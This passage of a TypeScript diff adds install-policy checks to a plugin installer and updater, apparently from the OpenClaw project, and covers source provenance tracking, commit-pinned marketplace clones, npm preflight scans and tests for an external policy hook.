manifestPluginId, @@ -2117,6 +2159,11 @@ async function scanAndLinkInstalledPackage(params: { peerDependencies: Record; dangerouslyForceUnsafeInstall?: boolean; trustedSourceLinkedOfficialInstall?: boolean; + mode?: "install" | "update"; + requestKind?: PluginInstallPolicyRequest["kind"]; + requestedSpecifier?: string; + config?: OpenClawConfig; + source?: InstallPolicySource; logger: PluginInstallLogger; }): Promise | null> { const scanResult = await runInstallSourceScan({ @@ -2132,8 +2179,13 @@ async function scanAndLinkInstalledPackage(params: { dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, dependencyScanRootDir: params.dependencyScanRootDir, logger: params.logger, + mode: params.mode, packageDir: params.installedDir, pluginId: params.pluginId, + config: params.config, + ...(params.requestKind ? { requestKind: params.requestKind } : {}), + requestedSpecifier: params.requestedSpecifier, + source: params.source, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, }), }); @@ -2171,6 +2223,7 @@ export async function installPluginFromInstalledPackageDir( allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, installPolicyRequest: params.installPolicyRequest, logger, mode: params.mode ?? "install", @@ -2189,6 +2242,11 @@ export async function installPluginFromInstalledPackageDir( peerDependencies: validated.plugin.peerDependencies, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, + mode: params.mode ?? "install", + ...(params.installPolicyRequest?.kind ? { requestKind: params.installPolicyRequest.kind } : {}), + requestedSpecifier: params.installPolicyRequest?.requestedSpecifier, + source: params.installPolicyRequest?.source, logger, }); if (postInstallError) { @@ -2203,6 +2261,29 @@ export async function installPluginFromInstalledPackageDir( }); } +export async function preflightPluginPackageInstallSource( + params: { + packageDir: string; + } & PackageInstallCommonParams, +): Promise { + const runtime = await loadPluginInstallRuntime(); + const { logger } = runtime.resolveTimedInstallModeOptions(params, defaultLogger); + const validated = await validatePackagePluginInstallSource({ + runtime, + packageDir: params.packageDir, + expectedPluginId: params.expectedPluginId, + requirePluginManifest: params.requirePluginManifest, + allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries, + dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, + installPolicyRequest: params.installPolicyRequest, + logger, + mode: params.mode ?? "install", + }); + return validated.ok ? null : validated; +} + async function installPluginFromPackageDir( params: { packageDir: string; @@ -2239,6 +2320,7 @@ async function installPluginFromPackageDir( allowSourceTypeScriptEntries: params.allowSourceTypeScriptEntries, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, installPolicyRequest: params.installPolicyRequest, logger, mode, @@ -2251,6 +2333,7 @@ async function installPluginFromPackageDir( const { plugin } = validated; preparedTarget = await resolvePreparedTargetForPluginId(plugin.pluginId); + const effectiveMode = preparedTarget.effectiveMode; const hasBundleManifest = Boolean(runtime.detectBundleManifestFormat(params.packageDir)); const shouldInstallRuntimeDeps = plugin.hasRuntimeDependencies && @@ -2267,7 +2350,7 @@ async function installPluginFromPackageDir( extensionsDir: params.extensionsDir, logger, timeoutMs, - mode: preparedTarget.effectiveMode, + mode: effectiveMode, dryRun, copyErrorPrefix: "failed to copy plugin", hasDeps: shouldInstallRuntimeDeps, @@ -2282,6 +2365,13 @@ async function installPluginFromPackageDir( peerDependencies: plugin.peerDependencies, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, + mode: effectiveMode, + ...(params.installPolicyRequest?.kind + ? { requestKind: params.installPolicyRequest.kind } + : {}), + requestedSpecifier: params.installPolicyRequest?.requestedSpecifier, + source: params.installPolicyRequest?.source, logger, }); }, @@ -2300,6 +2390,7 @@ export async function installPluginFromArchive( const installPolicyRequest = params.installPolicyRequest ?? { kind: "plugin-archive", requestedSpecifier: params.archivePath, + source: localPluginInstallPolicySource("plugin-archive"), }; const archivePathResult = await runtime.resolveArchiveSourcePath(params.archivePath); if (!archivePathResult.ok) { @@ -2323,6 +2414,7 @@ export async function installPluginFromArchive( logger, mode, dryRun: params.dryRun, + config: params.config, expectedPluginId: params.expectedPluginId, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, requirePluginManifest: true, @@ -2342,6 +2434,7 @@ export async function installPluginFromDir( const installPolicyRequest = params.installPolicyRequest ?? { kind: "plugin-dir", requestedSpecifier: params.dirPath, + source: localPluginInstallPolicySource("plugin-dir"), }; if (!(await runtime.fileExists(dirPath))) { return { ok: false, error: `directory not found: ${dirPath}` }; @@ -2361,6 +2454,7 @@ export async function installPluginFromDir( } export async function installPluginFromFile(params: { + config?: OpenClawConfig; filePath: string; dangerouslyForceUnsafeInstall?: boolean; extensionsDir?: string; @@ -2376,6 +2470,7 @@ export async function installPluginFromFile(params: { const installPolicyRequest = params.installPolicyRequest ?? { kind: "plugin-file", requestedSpecifier: params.filePath, + source: localPluginInstallPolicySource("plugin-file"), }; if (!(await runtime.fileExists(filePath))) { return { ok: false, error: `file not found: ${filePath}` }; @@ -2414,14 +2509,11 @@ export async function installPluginFromFile(params: { return availability; } - if (dryRun) { - return buildFileInstallResult(pluginId, preparedTarget.targetPath); - } - const scanResult = await runInstallSourceScan({ subject: `Plugin file "${pluginId}"`, scan: async () => await runtime.scanFileInstallSource({ + config: params.config, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, filePath, logger, @@ -2434,6 +2526,10 @@ export async function installPluginFromFile(params: { return scanResult; } + if (dryRun) { + return buildFileInstallResult(pluginId, preparedTarget.targetPath); + } + logger.info?.(`Installing to ${preparedTarget.targetPath}…`); try { const root = await runtime.root(extensionsDir); @@ -2484,6 +2580,18 @@ export async function installPluginFromNpmSpec( }; } + const npmBaseDir = params.npmDir ? resolveUserPath(params.npmDir) : resolveDefaultPluginNpmDir(); + const npmRoot = resolvePluginNpmProjectDir({ + npmDir: npmBaseDir, + packageName: parsedSpec.name, + }); + const installRoot = resolveManagedNpmRootPackageDir(npmRoot, parsedSpec.name); + const effectiveMode = await resolveEffectiveInstallMode({ + runtime, + requestedMode: mode, + targetPath: installRoot, + }); + const metadataResult = await resolveNpmSpecMetadata({ spec, timeoutMs }); if (!metadataResult.ok) { return { @@ -2570,9 +2678,48 @@ export async function installPluginFromNpmSpec( return { ok: false, error: driftResult.error }; } + const policyTempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-npm-policy-")); + try { + const policyMetadataPath = path.join(policyTempDir, "npm-package-metadata.json"); + await fs.writeFile( + policyMetadataPath, + `${JSON.stringify( + { + packageName: parsedSpec.name, + requestedSpecifier: spec, + resolution: npmResolution, + }, + null, + 2, + )}\n`, + "utf8", + ); + const preflightPolicyResult = await runInstallSourceScan({ + subject: `Plugin "${expectedPluginId ?? parsedSpec.name}"`, + scan: async () => + await preflightPluginNpmInstallPolicy({ + config: params.config, + logger, + mode: effectiveMode, + packageName: parsedSpec.name, + ...(expectedPluginId ? { pluginId: expectedPluginId } : {}), + requestedSpecifier: spec, + source: { kind: "npm", authority: "third-party", mutable: false, network: true }, + sourcePath: policyMetadataPath, + sourcePathKind: "file", + }), + }); + if (preflightPolicyResult) { + return preflightPolicyResult; + } + } finally { + await fs.rm(policyTempDir, { recursive: true, force: true }); + } + return await installPluginFromManagedNpmRoot({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, packageName: parsedSpec.name, dependencySpec: resolveManagedNpmRootDependencySpec({ parsedSpec, @@ -2582,6 +2729,7 @@ export async function installPluginFromNpmSpec( installPolicyRequest: { kind: "plugin-npm", requestedSpecifier: spec, + source: { kind: "npm", authority: "third-party", mutable: false, network: true }, }, extensionsDir: params.extensionsDir, npmDir: params.npmDir, @@ -2589,6 +2737,7 @@ export async function installPluginFromNpmSpec( logger, mode, dryRun, + skipPolicyPreflight: true, expectedPluginId, npmResolution, ...(driftResult.integrityDrift ? { integrityDrift: driftResult.integrityDrift } : {}), @@ -2645,6 +2794,7 @@ export async function installPluginFromNpmPackArchive( const result = await installPluginFromManagedNpmRoot({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: params.trustedSourceLinkedOfficialInstall, + config: params.config, packageName, prepareDependencySpec: async ({ npmRoot }) => { try { @@ -2671,7 +2821,10 @@ export async function installPluginFromNpmPackArchive( installPolicyRequest: { kind: "plugin-npm", requestedSpecifier: `npm-pack:${metadataResult.archivePath}`, + source: { kind: "archive", authority: "user", mutable: true, network: false }, }, + policyPreflightSourcePath: metadataResult.archivePath, + policyPreflightSourcePathKind: "file", extensionsDir: params.extensionsDir, npmDir: npmBaseDir, timeoutMs, @@ -2705,10 +2858,7 @@ export async function installPluginFromPath( return await installPluginFromDir({ dirPath: resolved, ...packageInstallOptions, - installPolicyRequest: { - kind: "plugin-dir", - requestedSpecifier: params.path, - }, + installPolicyRequest: installPolicyRequestForPath(params, "plugin-dir"), }); } @@ -2717,21 +2867,14 @@ export async function installPluginFromPath( return await installPluginFromArchive({ archivePath: resolved, ...packageInstallOptions, - installPolicyRequest: { - kind: "plugin-archive", - requestedSpecifier: params.path, - }, + installPolicyRequest: installPolicyRequestForPath(params, "plugin-archive"), }); } - return await installPluginFromFile({ - filePath: resolved, - ...pickFileInstallCommonParams({ - ...params, - installPolicyRequest: { - kind: "plugin-file", - requestedSpecifier: params.path, - }, - }), - }); + return { + ok: false, + code: PLUGIN_INSTALL_ERROR_CODE.UNSUPPORTED_PLAIN_FILE_PLUGIN, + error: + "Plain file plugin installs are not supported. Install a plugin directory or archive that contains openclaw.plugin.json, or list standalone plugin files in plugins.load.paths.", + }; } diff --git a/src/plugins/marketplace.test.ts b/src/plugins/marketplace.test.ts index a8a00c6d9408..4bc357ed5831 100644 --- a/src/plugins/marketplace.test.ts +++ b/src/plugins/marketplace.test.ts @@ -318,6 +318,16 @@ describe("marketplace plugins", () => { pluginDir, marketplaceSource: path.join(rootDir, ".claude-plugin", "marketplace.json"), }); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-dir", + requestedSpecifier: `frontend-design@${manifestPath}`, + source: { + kind: "local-path", + authority: "user", + mutable: true, + network: false, + }, + }); }); }); @@ -356,6 +366,16 @@ describe("marketplace plugins", () => { pluginDir, marketplaceSource: manifestPath, }); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-dir", + requestedSpecifier: `frontend-design@${manifestPath}`, + source: { + kind: "local-path", + authority: "user", + mutable: true, + network: false, + }, + }); if (canonicalPluginDir !== pluginDir) { expect( installPluginFromPathMock.mock.calls.some( @@ -458,6 +478,16 @@ describe("marketplace plugins", () => { }); expectRemoteMarketplaceInstallResult(result); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-git", + requestedSpecifier: "frontend-design@owner/repo", + source: { + kind: "git", + authority: "third-party", + mutable: true, + network: true, + }, + }); }); it("preserves remote marketplace file path sources inside the cloned repo", async () => { @@ -493,6 +523,78 @@ describe("marketplace plugins", () => { marketplacePlugin: "frontend-design", marketplaceSource: "owner/repo", }); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-archive", + requestedSpecifier: "frontend-design@owner/repo", + source: { + kind: "archive", + authority: "third-party", + mutable: true, + network: true, + }, + }); + }); + + it("reports full commit remote marketplace archives as immutable to install policy", async () => { + const commit = "0123456789abcdef0123456789abcdef01234567"; + mockRemoteMarketplaceClone({ + pluginFile: path.join("plugins", "frontend-design.tgz"), + manifest: { + plugins: [ + { + name: "frontend-design", + source: "./plugins/frontend-design.tgz", + }, + ], + }, + }); + runCommandWithTimeoutMock.mockResolvedValueOnce({ + code: 0, + stdout: "", + stderr: "", + killed: false, + }); + installPluginFromPathMock.mockResolvedValue({ + ok: true, + pluginId: "frontend-design", + targetDir: "/tmp/frontend-design", + version: "0.1.0", + extensions: ["index.ts"], + }); + + const result = await installPluginFromMarketplace({ + marketplace: `owner/repo#${commit}`, + plugin: "frontend-design", + }); + + expectMarketplaceInstallSuccess(result, { + marketplacePlugin: "frontend-design", + marketplaceSource: `owner/repo#${commit}`, + }); + expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(2); + expect(runCommandWithTimeoutMock.mock.calls[0]?.[0]).toEqual([ + "git", + "clone", + "https://github.com/owner/repo.git", + expect.any(String), + ]); + expect(runCommandWithTimeoutMock.mock.calls[1]?.[0]).toEqual([ + "git", + "switch", + "--detach", + "--", + commit, + ]); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-archive", + requestedSpecifier: `frontend-design@owner/repo#${commit}`, + source: { + kind: "archive", + authority: "third-party", + mutable: false, + network: true, + }, + }); }); it("lists remote marketplace file path sources inside the cloned repo", async () => { @@ -727,6 +829,16 @@ describe("marketplace plugins", () => { }); expectFetchDownloadCall(); expect(String(installPluginInput().path)).toMatch(/[\\/]frontend-design\.tgz$/); + expect(installPluginInput().installPolicyRequest).toMatchObject({ + kind: "plugin-archive", + requestedSpecifier: `frontend-design@${manifestPath}`, + source: { + kind: "archive", + authority: "third-party", + mutable: true, + network: true, + }, + }); expect(release).toHaveBeenCalledTimes(1); }); }); diff --git a/src/plugins/marketplace.ts b/src/plugins/marketplace.ts index af841e7e247b..4af62bda818a 100644 --- a/src/plugins/marketplace.ts +++ b/src/plugins/marketplace.ts @@ -12,7 +12,9 @@ import { tryReadJson } from "../infra/json-files.js"; import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; import { isPathInside } from "../infra/path-guards.js"; import { runCommandWithTimeout } from "../process/exec.js"; +import type { InstallPolicySource } from "../security/install-policy.js"; import { resolveUserPath } from "../utils.js"; +import { isImmutableGitCommitRef } from "./git-install.js"; import type { InstallSafetyOverrides } from "./install-security-scan.js"; import { installPluginFromPath, type InstallPluginResult } from "./install.js"; @@ -60,6 +62,7 @@ type LoadedMarketplace = { rootDir: string; sourceLabel: string; origin: MarketplaceManifestOrigin; + remoteRef?: string; cleanup?: () => Promise; }; @@ -255,6 +258,102 @@ function marketplaceEntrySourceToInput(source: MarketplaceEntrySource): string { throw new Error("Unsupported marketplace entry source"); } +function marketplaceEntryGitRef(source: MarketplaceEntrySource): string | undefined { + switch (source.kind) { + case "github": + case "git": + case "git-subdir": + return source.ref; + case "url": + return resolveArchiveKind(source.url) ? undefined : normalizeGitCloneSource(source.url)?.ref; + case "path": + return undefined; + } + throw new Error("Unsupported marketplace entry source"); +} + +function isMutableGitDerivedSource(ref: string | undefined): boolean { + return !isImmutableGitCommitRef(ref); +} + +function marketplaceInstallPolicySource(params: { + marketplaceOrigin: MarketplaceManifestOrigin; + marketplaceRef?: string; + resolvedPath: string; + source: MarketplaceEntrySource; +}): InstallPolicySource { + const marketplaceMutable = isMutableGitDerivedSource(params.marketplaceRef); + const entryMutable = isMutableGitDerivedSource(marketplaceEntryGitRef(params.source)); + if (resolveArchiveKind(params.resolvedPath)) { + if ( + params.marketplaceOrigin === "remote" && + params.source.kind === "path" && + !isHttpUrl(params.source.path) + ) { + return { + kind: "archive", + authority: "third-party", + mutable: marketplaceMutable, + network: true, + }; + } + if (params.source.kind === "path" && !isHttpUrl(params.source.path)) { + return { kind: "archive", authority: "user", mutable: true, network: false }; + } + return { kind: "archive", authority: "third-party", mutable: entryMutable, network: true }; + } + + if ( + params.marketplaceOrigin === "remote" && + params.source.kind === "path" && + !isHttpUrl(params.source.path) + ) { + return { kind: "git", authority: "third-party", mutable: marketplaceMutable, network: true }; + } + + if (params.source.kind === "path") { + if (isHttpUrl(params.source.path)) { + return { kind: "archive", authority: "third-party", mutable: true, network: true }; + } + return { kind: "local-path", authority: "user", mutable: true, network: false }; + } + + if (params.source.kind === "url") { + return { + kind: resolveArchiveKind(params.source.url) ? "archive" : "git", + authority: "third-party", + mutable: entryMutable, + network: true, + }; + } + + return { kind: "git", authority: "third-party", mutable: entryMutable, network: true }; +} + +function marketplaceInstallPolicyRequestKind(params: { + marketplaceOrigin: MarketplaceManifestOrigin; + resolvedPath: string; + source: MarketplaceEntrySource; +}): "plugin-archive" | "plugin-dir" | "plugin-git" { + if (resolveArchiveKind(params.resolvedPath)) { + return "plugin-archive"; + } + if (params.marketplaceOrigin === "remote") { + return "plugin-git"; + } + if ( + params.source.kind === "github" || + params.source.kind === "git" || + params.source.kind === "git-subdir" + ) { + return "plugin-git"; + } + if (params.source.kind === "url" && !resolveArchiveKind(params.source.url)) { + return "plugin-git"; + } + return "plugin-dir"; +} + function parseMarketplaceManifest( raw: string, sourceLabel: string, @@ -426,7 +525,7 @@ async function cloneMarketplaceRepo(params: { timeoutMs?: number; logger?: MarketplaceLogger; }): Promise< - | { ok: true; rootDir: string; cleanup: () => Promise; label: string } + | { ok: true; rootDir: string; cleanup: () => Promise; label: string; ref?: string } | { ok: false; error: string } > { const normalized = normalizeGitCloneSource(params.source); @@ -436,8 +535,12 @@ async function cloneMarketplaceRepo(params: { const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-marketplace-")); const repoDir = path.join(tmpDir, "repo"); - const argv = ["git", "clone", "--depth", "1"]; - if (normalized.ref) { + const refIsCommit = isImmutableGitCommitRef(normalized.ref); + const argv = ["git", "clone"]; + if (!normalized.ref) { + argv.push("--depth", "1"); + } else if (!refIsCommit) { + argv.push("--depth", "1"); argv.push("--branch", normalized.ref); } argv.push(normalized.url, repoDir); @@ -453,11 +556,29 @@ async function cloneMarketplaceRepo(params: { error: `failed to clone marketplace source ${normalized.label}: ${detail}`, }; } + if (refIsCommit) { + const checkout = await runCommandWithTimeout( + ["git", "switch", "--detach", "--", normalized.ref as string], + { + cwd: repoDir, + timeoutMs: params.timeoutMs ?? DEFAULT_GIT_TIMEOUT_MS, + }, + ); + if (checkout.code !== 0) { + await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => undefined); + const detail = checkout.stderr.trim() || checkout.stdout.trim() || "git checkout failed"; + return { + ok: false, + error: `failed to checkout marketplace source ${normalized.label}: ${detail}`, + }; + } + } return { ok: true, rootDir: repoDir, label: normalized.label, + ...(normalized.ref ? { ref: normalized.ref } : {}), cleanup: async () => { await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => undefined); }, @@ -474,6 +595,7 @@ async function loadMarketplace(params: { sourceLabel: string; rootDir: string; origin: MarketplaceManifestOrigin; + remoteRef?: string; cleanup?: () => Promise; }): Promise<{ ok: true; marketplace: LoadedMarketplace } | { ok: false; error: string }> => { const raw = await fs.readFile(paramsLocal.manifestPath, "utf-8"); @@ -499,6 +621,7 @@ async function loadMarketplace(params: { rootDir: paramsLocal.rootDir, sourceLabel: paramsLocal.sourceLabel, origin: paramsLocal.origin, + ...(paramsLocal.remoteRef ? { remoteRef: paramsLocal.remoteRef } : {}), cleanup: paramsLocal.cleanup, }, }; @@ -576,6 +699,7 @@ async function loadMarketplace(params: { sourceLabel: cloned.label, rootDir: cloned.rootDir, origin: "remote", + ...(cloned.ref ? { remoteRef: cloned.ref } : {}), cleanup: cloned.cleanup, }); } @@ -1152,6 +1276,7 @@ export async function installPluginFromMarketplace( const result = await installPluginFromPath({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + config: params.config, path: resolved.path, logger: params.logger, mode: params.mode, @@ -1159,6 +1284,20 @@ export async function installPluginFromMarketplace( timeoutMs: params.timeoutMs, dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, + installPolicyRequest: { + kind: marketplaceInstallPolicyRequestKind({ + marketplaceOrigin: loaded.marketplace.origin, + resolvedPath: resolved.path, + source: entry.source, + }), + requestedSpecifier: `${entry.name}@${params.marketplace}`, + source: marketplaceInstallPolicySource({ + marketplaceOrigin: loaded.marketplace.origin, + marketplaceRef: loaded.marketplace.remoteRef, + resolvedPath: resolved.path, + source: entry.source, + }), + }, }); if (!result.ok) { return result; diff --git a/src/plugins/update.ts b/src/plugins/update.ts index c61c10effe17..2c0f14a7aac4 100644 --- a/src/plugins/update.ts +++ b/src/plugins/update.ts @@ -1256,6 +1256,7 @@ export async function updateNpmInstalledPlugins(params: { record.source === "npm" ? await installPluginFromNpmSpec({ spec: effectiveSpec!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1275,6 +1276,7 @@ export async function updateNpmInstalledPlugins(params: { : record.source === "clawhub" ? await installPluginFromClawHub({ spec: effectiveSpec ?? `clawhub:${record.clawhubPackage!}`, + config: params.config, baseUrl: record.clawhubUrl, mode: "update", extensionsDir, @@ -1287,6 +1289,7 @@ export async function updateNpmInstalledPlugins(params: { : record.source === "git" ? await installPluginFromGitSpec({ spec: effectiveSpec!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1298,6 +1301,7 @@ export async function updateNpmInstalledPlugins(params: { : await installPluginFromMarketplace({ marketplace: record.marketplaceSource!, plugin: record.marketplacePlugin!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1330,6 +1334,7 @@ export async function updateNpmInstalledPlugins(params: { }); probe = await installPluginFromNpmSpec({ spec: npmSpecs.fallbackSpec, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1363,6 +1368,7 @@ export async function updateNpmInstalledPlugins(params: { ); probe = await installPluginFromClawHub({ spec: clawhubSpecs.fallbackSpec, + config: params.config, baseUrl: record.clawhubUrl, mode: "update", extensionsDir, @@ -1394,6 +1400,7 @@ export async function updateNpmInstalledPlugins(params: { usedOfficialNpmFallback = true; probe = await installPluginFromNpmSpec({ spec: officialNpmFallbackInstallSpec, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1501,6 +1508,7 @@ export async function updateNpmInstalledPlugins(params: { record.source === "npm" ? await installNpmSpecForUpdate({ spec: effectiveSpec!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1519,6 +1527,7 @@ export async function updateNpmInstalledPlugins(params: { : record.source === "clawhub" ? await installPluginFromClawHub({ spec: effectiveSpec ?? `clawhub:${record.clawhubPackage!}`, + config: params.config, baseUrl: record.clawhubUrl, mode: "update", extensionsDir, @@ -1530,6 +1539,7 @@ export async function updateNpmInstalledPlugins(params: { : record.source === "git" ? await installPluginFromGitSpec({ spec: effectiveSpec!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1540,6 +1550,7 @@ export async function updateNpmInstalledPlugins(params: { : await installPluginFromMarketplace({ marketplace: record.marketplaceSource!, plugin: record.marketplacePlugin!, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1605,6 +1616,7 @@ export async function updateNpmInstalledPlugins(params: { ); result = await installPluginFromClawHub({ spec: clawhubSpecs.fallbackSpec, + config: params.config, baseUrl: record.clawhubUrl, mode: "update", extensionsDir, @@ -1637,6 +1649,7 @@ export async function updateNpmInstalledPlugins(params: { channelFallbackSuffix = ` (warning: official ClawHub artifact fallback used ${officialNpmFallbackInstallSpec}).`; result = await installNpmSpecForUpdate({ spec: officialNpmFallbackInstallSpec, + config: params.config, mode: "update", extensionsDir, timeoutMs: params.timeoutMs, @@ -1921,6 +1934,7 @@ export async function syncPluginsForUpdateChannel(params: { if (preferredSource === "clawhub") { result = await installPluginFromClawHub({ spec: clawhubSpec, + config: params.config, ...(bridge.clawhubUrl ? { baseUrl: bridge.clawhubUrl } : {}), mode: "update", expectedPluginId: targetPluginId, @@ -1934,6 +1948,7 @@ export async function syncPluginsForUpdateChannel(params: { installSpec = npmSpec; result = await installPluginFromNpmSpec({ spec: npmSpec, + config: params.config, mode: "update", expectedPluginId: targetPluginId, trustedSourceLinkedOfficialInstall, @@ -1943,6 +1958,7 @@ export async function syncPluginsForUpdateChannel(params: { } else { result = await installPluginFromNpmSpec({ spec: npmSpec, + config: params.config, mode: "update", expectedPluginId: targetPluginId, trustedSourceLinkedOfficialInstall, diff --git a/src/security/install-policy.test.ts b/src/security/install-policy.test.ts new file mode 100644 index 000000000000..4944f45767cc --- /dev/null +++ b/src/security/install-policy.test.ts @@ -0,0 +1,614 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { + runInstallPolicy, + validateInstallPolicyStatic, + type InstallPolicyRequest, +} from "./install-policy.js"; + +const tempDirs: string[] = []; + +async function makeTempDir(): Promise { + const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-policy-")); + tempDirs.push(dir); + return dir; +} + +async function writePolicyScript(dir: string): Promise { + const scriptPath = path.join(dir, "policy.cjs"); + await fs.writeFile( + scriptPath, + ` +const fs = require("node:fs"); + +let input = ""; +process.stdin.setEncoding("utf8"); +process.stdin.on("data", (chunk) => { + input += chunk; +}); +process.stdin.on("end", () => { + if (process.env.OUT_FILE) { + fs.writeFileSync(process.env.OUT_FILE, input); + } + if (process.env.CWD_FILE) { + fs.writeFileSync(process.env.CWD_FILE, process.cwd()); + } + if (process.env.ENV_FILE) { + fs.writeFileSync(process.env.ENV_FILE, JSON.stringify({ + PATH: process.env.PATH, + Path: process.env.Path, + })); + } + if (process.env.STDERR_TEXT) { + process.stderr.write(process.env.STDERR_TEXT); + } + if (process.env.EXIT_CODE) { + process.exit(Number(process.env.EXIT_CODE)); + } + process.stdout.write(process.env.POLICY_RESPONSE || ""); +}); +`, + "utf8", + ); + await fs.chmod(scriptPath, 0o700); + return scriptPath; +} + +async function writeEnvNodePolicyScript(dir: string): Promise { + const envNodeScriptPath = path.join(dir, "env-node-policy"); + await fs.writeFile( + envNodeScriptPath, + `#!/usr/bin/env node +process.stdout.write(process.env.POLICY_RESPONSE || ""); +`, + "utf8", + ); + await fs.chmod(envNodeScriptPath, 0o700); + return envNodeScriptPath; +} + +function baseRequest(sourcePath: string): InstallPolicyRequest { + return { + targetType: "skill", + targetName: "weather", + sourcePath, + sourcePathKind: "directory", + source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true }, + origin: { type: "clawhub", slug: "weather", version: "1.0.0" }, + request: { + kind: "skill-install", + mode: "install", + requestedSpecifier: "clawhub:weather@1.0.0", + }, + skill: { + installId: "clawhub", + }, + }; +} + +function configWithPolicy(scriptPath: string, env: Record): OpenClawConfig { + return { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [scriptPath], + env, + allowInsecurePath: true, + timeoutMs: 5000, + maxOutputBytes: 16 * 1024, + }, + }, + }, + }; +} + +describe("runInstallPolicy", () => { + let sourceDir: string; + let scriptPath: string; + + beforeEach(async () => { + sourceDir = await makeTempDir(); + scriptPath = await writePolicyScript(sourceDir); + }); + + afterEach(async () => { + await Promise.all( + tempDirs.splice(0).map((dir) => fs.rm(dir, { recursive: true, force: true })), + ); + }); + + it("does nothing when install policy is disabled", async () => { + await expect(runInstallPolicy({ config: {}, request: baseRequest(sourceDir) })).resolves.toBe( + undefined, + ); + }); + + it("does nothing when install policy is present but not enabled", async () => { + await expect( + runInstallPolicy({ + config: { + security: { + installPolicy: {}, + }, + }, + request: baseRequest(sourceDir), + }), + ).resolves.toBe(undefined); + }); + + it("executes policy for skills when targets are omitted", async () => { + const capturePath = path.join(sourceDir, "request.json"); + const cwdPath = path.join(sourceDir, "cwd.txt"); + const response = JSON.stringify({ protocolVersion: 1, decision: "allow" }); + + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + CWD_FILE: cwdPath, + OUT_FILE: capturePath, + POLICY_RESPONSE: response, + }), + request: baseRequest(sourceDir), + }); + + expect(result).toEqual({}); + const captured = JSON.parse(await fs.readFile(capturePath, "utf8")) as Record; + expect(captured.protocolVersion).toBe(1); + expect(captured.openclawVersion).toEqual(expect.any(String)); + expect(captured.targetType).toBe("skill"); + expect(captured.sourcePath).toBe(sourceDir); + expect(captured.source).toEqual({ + kind: "clawhub", + authority: "openclaw", + mutable: false, + network: true, + }); + await expect(fs.readFile(cwdPath, "utf8")).resolves.toBe(path.dirname(process.execPath)); + expect(captured.request).toMatchObject({ + kind: "skill-install", + mode: "install", + requestedSpecifier: "clawhub:weather@1.0.0", + }); + expect(captured.origin).toMatchObject({ type: "clawhub", slug: "weather" }); + }); + + it("preserves PATH so env shebang policy scripts can start", async () => { + if (process.platform === "win32") { + return; + } + const envNodeScriptPath = await writeEnvNodePolicyScript(sourceDir); + const response = JSON.stringify({ protocolVersion: 1, decision: "allow" }); + + const result = await runInstallPolicy({ + config: { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: envNodeScriptPath, + env: { + POLICY_RESPONSE: response, + }, + passEnv: ["PATH"], + allowInsecurePath: true, + }, + }, + }, + }, + env: { + PATH: path.dirname(process.execPath), + }, + request: baseRequest(sourceDir), + }); + + expect(result).toEqual({}); + }); + + it("does not inherit PATH unless passEnv includes it", async () => { + const envPath = path.join(sourceDir, "env.json"); + const response = JSON.stringify({ protocolVersion: 1, decision: "allow" }); + + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + ENV_FILE: envPath, + POLICY_RESPONSE: response, + }), + env: { + PATH: "/tmp/untrusted-path", + }, + request: baseRequest(sourceDir), + }); + + expect(result).toEqual({}); + const captured = JSON.parse(await fs.readFile(envPath, "utf8")) as { + PATH?: string; + Path?: string; + }; + 